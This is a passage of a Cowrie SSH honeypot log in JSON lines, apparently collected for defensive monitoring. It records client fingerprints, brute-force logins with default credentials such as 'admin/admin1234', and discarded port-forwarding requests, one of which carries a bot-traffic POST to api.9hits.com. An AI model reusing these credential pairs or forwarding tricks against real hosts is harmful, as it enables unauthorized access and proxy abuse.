{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:42.261606Z","src_ip":"123.27.168.40","session":"9d6274c04b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.2","message":"Connection lost after 28.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:43.270369Z","src_ip":"23.175.50.52","session":"e99dc6b2a116","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:43.406440Z","src_ip":"123.27.168.40","session":"9d6274c04b25","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:43.903282Z","session":"9d6274c04b25","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:44.097143Z","session":"9d6274c04b25","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:44.188012Z","src_ip":"123.27.168.40","session":"9d6274c04b25","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_9 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.198 Mobile/16H5 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=dCNweGRsfTN1T1pBUkI%2BbA%3D%3Db1vTd6liMZaqr4u%2Bqts9dQlm7Aijem%2BzMzV7mhNLYrqz%2FF%2Fc6Pf1ATqud%2F94Pfnwp7rwIltR%2FxFjeC0vouvmHomzCx%2B04uni97JEe9552s8xvlX3%2FIFeEBZ3xmljjw4XqoRDcTcpGO7iw%2BeXl9MNSJjpmBFEZXaRGImNa6TokmvRlZaSsO9jVlh6JDrUpd%2FC9Pqlln4i0JK7Yquc%2BOIxAzHh7Kk5IJYK9klHWbBZSxCAi%2BRNIlCpKTA8k8IhpQ4mTHnavymp5GszbT4trZe6CXkC0n3qGZM9ECY4wJ5MuKfe6GPkBT0ByGYixwZhvxg5UKzhQVAVxEnrRi83ipeLbnnBSHbTHJYgG%2FrRCZ%2BI%2Ff7rJSNCmuF40M9gbcQl64QGkD%2BRJmRFXVUZoBWFunh3IMnVk98pa85H9jSnA9h16SDEvRjT7puDbbcRB3lvBWNcpsZmfzRbz70fWFyUoMGA2oU8Bt0rj%2FxOsIe%2Bp%2FmgjKf0DBvtgKJYMQ1GnSCaYEZm2NvRdjcVeBD%2BaG4kbF8WzmBhxipnieS%2F2THvMtB7g6gqhgDm7PCbx7U5DLUpKXyeMxt4JxW4zBajenNaUjN8L%2BZN2nd3cQ%2FbXEq2cGr9d0HHDFro4LiK5lx%2BMKw9RDbp9g52Vb%2BAPKwh8KRwjJ4P3CHXBt7VI2UWh3dHv5bz8QOaKMB8SP81lAgu5hoKjihR%2F2%2BlhzKZIVwMNj2UGHe9H4K%2BZ504SBxXj7S4%2FGw6L7MeA4b%2FpumGKLsqb%2BP5xBvQHFd9bYV%2F1dtIi0ZPsSTzMAMiyHs9Tc%2BpVB1NAwrzS8urn8%2FqeL8uc1yTRT%2Bz6r6P%2BAnVDKqJnQh4PB%2FrjFj8%2Fg1trELbu8i4MG3La2XhuV%2FEGyrix4kcNvpclk997z27fPNeLpG11P%2FOzBygQKTlCBbIgSuSkv3Tf8Q6DHzyx8777M5YTcsyz0N0WWyTAtwzHKWNwMzKbGD6SrcxVxbEfafxIyEiRZbPnvSSs6qfr9gytD60x2hgpvLh%2BjoKLCdt5fjmzIr4J0p4YqlDrHNTIfluZAAyPzvWEKnQKneRjro%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_9 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.198 Mobile/16H5 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=dCNweGRsfTN1T1pBUkI%2BbA%3D%3Db1vTd6liMZaqr4u%2Bqts9dQlm7Aijem%2BzMzV7mhNLYrqz%2FF%2Fc6Pf1ATqud%2F94Pfnwp7rwIltR%2FxFjeC0vouvmHomzCx%2B04uni97JEe9552s8xvlX3%2FIFeEBZ3xmljjw4XqoRDcTcpGO7iw%2BeXl9MNSJjpmBFEZXaRGImNa6TokmvRlZaSsO9jVlh6JDrUpd%2FC9Pqlln4i0JK7Yquc%2BOIxAzHh7Kk5IJYK9klHWbBZSxCAi%2BRNIlCpKTA8k8IhpQ4mTHnavymp5GszbT4trZe6CXkC0n3qGZM9ECY4wJ5MuKfe6GPkBT0ByGYixwZhvxg5UKzhQVAVxEnrRi83ipeLbnnBSHbTHJYgG%2FrRCZ%2BI%2Ff7rJSNCmuF40M9gbcQl64QGkD%2BRJmRFXVUZoBWFunh3IMnVk98pa85H9jSnA9h16SDEvRjT7puDbbcRB3lvBWNcpsZmfzRbz70fWFyUoMGA2oU8Bt0rj%2FxOsIe%2Bp%2FmgjKf0DBvtgKJYMQ1GnSCaYEZm2NvRdjcVeBD%2BaG4kbF8WzmBhxipnieS%2F2THvMtB7g6gqhgDm7PCbx7U5DLUpKXyeMxt4JxW4zBajenNaUjN8L%2BZN2nd3cQ%2FbXEq2cGr9d0HHDFro4LiK5lx%2BMKw9RDbp9g52Vb%2BAPKwh8KRwjJ4P3CHXBt7VI2UWh3dHv5bz8QOaKMB8SP81lAgu5hoKjihR%2F2%2BlhzKZIVwMNj2UGHe9H4K%2BZ504SBxXj7S4%2FGw6L7MeA4b%2FpumGKLsqb%2BP5xBvQHFd9bYV%2F1dtIi0ZPsSTzMAMiyHs9Tc%2BpVB1NAwrzS8urn8%2FqeL8uc1yTRT%2Bz6r6P%2BAnVDKqJnQh4PB%2FrjFj8%2Fg1trELbu8i4MG3La2XhuV%2FEGyrix4kcNvpclk997z27fPNeLpG11P%2FOzBygQKTlCBbIgSuSkv3Tf8Q6DHzyx8777M5YTcsyz0N0WWyTAtwzHKWNwMzKbGD6SrcxVxbEfafxIyEiRZbPnvSSs6qfr9gytD60x2hgpvLh%2BjoKLCdt5fjmzIr4J0p4YqlDrHNTIfluZAAyPzvWEKnQKneRjro%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:44.192911Z","src_ip":"123.27.168.40","session":"9d6274c04b25","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:44.432954Z","src_ip":"123.27.168.40","session":"9d6274c04b25","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb6k\\xe324\\x0e\\xd1\\xac\\xd7a\\x16\\'{n\\xcc\\xca\\x18I^,L\\xf9\\xb8mW\\x8e\\xda\\x8f\\x0b\\\\\\xde\\xbf =:fiJ]x\\x80?4\\xca\\x87\\xf9\\x92\\x19\\x15\\x8e\\xa99\\x0b\\x87\\xbe\\xb7\\xd5\\x99\\x86\\xc2\\x7f\\x9bv\\x8c\\xc2\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd9\\x12\\xe0\\x9b\\xfb\\x87\\xf8\\xde!\\xf5n\\ti\\x06\\\\\\x87\\x9a\\xca\\x91x\\x08e\\x93\\xbb\\xd4\"\\x04u>&\\xc6.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb6k\\xe324\\x0e\\xd1\\xac\\xd7a\\x16\\'{n\\xcc\\xca\\x18I^,L\\xf9\\xb8mW\\x8e\\xda\\x8f\\x0b\\\\\\xde\\xbf =:fiJ]x\\x80?4\\xca\\x87\\xf9\\x92\\x19\\x15\\x8e\\xa99\\x0b\\x87\\xbe\\xb7\\xd5\\x99\\x86\\xc2\\x7f\\x9bv\\x8c\\xc2\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd9\\x12\\xe0\\x9b\\xfb\\x87\\xf8\\xde!\\xf5n\\ti\\x06\\\\\\x87\\x9a\\xca\\x91x\\x08e\\x93\\xbb\\xd4\"\\x04u>&\\xc6.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:44.436020Z","src_ip":"123.27.168.40","session":"9d6274c04b25","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:44.924822Z","session":"9d6274c04b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"qwerty","message":"login attempt [daemon/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:45.030192Z","src_ip":"91.92.40.36","session":"78a603570cfd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:45.174992Z","src_ip":"123.27.168.40","session":"9d6274c04b25","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j\\x90t\\xbc\\'Z\\x80\\x1a\\xb3\\x92+g\\xdd\\x01\\x99<\\x13\\x84\\x7fN\\xb0\\xd1\\xc0\\n\\xe3s\\x1a~c\\\\m\\xaa \\xf0\\xc9\\x03\\xa3\\xfc\\x9e\\x938\\xd8\\xd9>\\xc4*\\xf7\\xef\\xfb\\xcc/jQ\\x84\\xa8\\x86@\\xb6(\\xb8\\xae\\x1d\\xf4\\xbd\\xf6\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x81\\x7f\\xc7\\x86Y\\xa2S\\xe7e#\\xc3|$\\xc7f(\\x16c\\x84 \\xa4\\xa3_F\\xc9\\x16q\\x8bR\\xb6yd\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j\\x90t\\xbc\\'Z\\x80\\x1a\\xb3\\x92+g\\xdd\\x01\\x99<\\x13\\x84\\x7fN\\xb0\\xd1\\xc0\\n\\xe3s\\x1a~c\\\\m\\xaa \\xf0\\xc9\\x03\\xa3\\xfc\\x9e\\x938\\xd8\\xd9>\\xc4*\\xf7\\xef\\xfb\\xcc/jQ\\x84\\xa8\\x86@\\xb6(\\xb8\\xae\\x1d\\xf4\\xbd\\xf6\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x81\\x7f\\xc7\\x86Y\\xa2S\\xe7e#\\xc3|$\\xc7f(\\x16c\\x84 \\xa4\\xa3_F\\xc9\\x16q\\x8bR\\xb6yd\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:45.178149Z","src_ip":"123.27.168.40","session":"9d6274c04b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:45.570278Z","src_ip":"123.27.168.40","session":"9d6274c04b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20668,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a99c49fb2e0","protocol":"ssh","message":"New connection: 91.92.40.36:20668 (159.203.135.109:22) [session: 2a99c49fb2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:46.630138Z"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:47.186377Z","src_ip":"91.92.40.36","session":"78a603570cfd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:47.589483Z","src_ip":"91.92.40.36","session":"2a99c49fb2e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp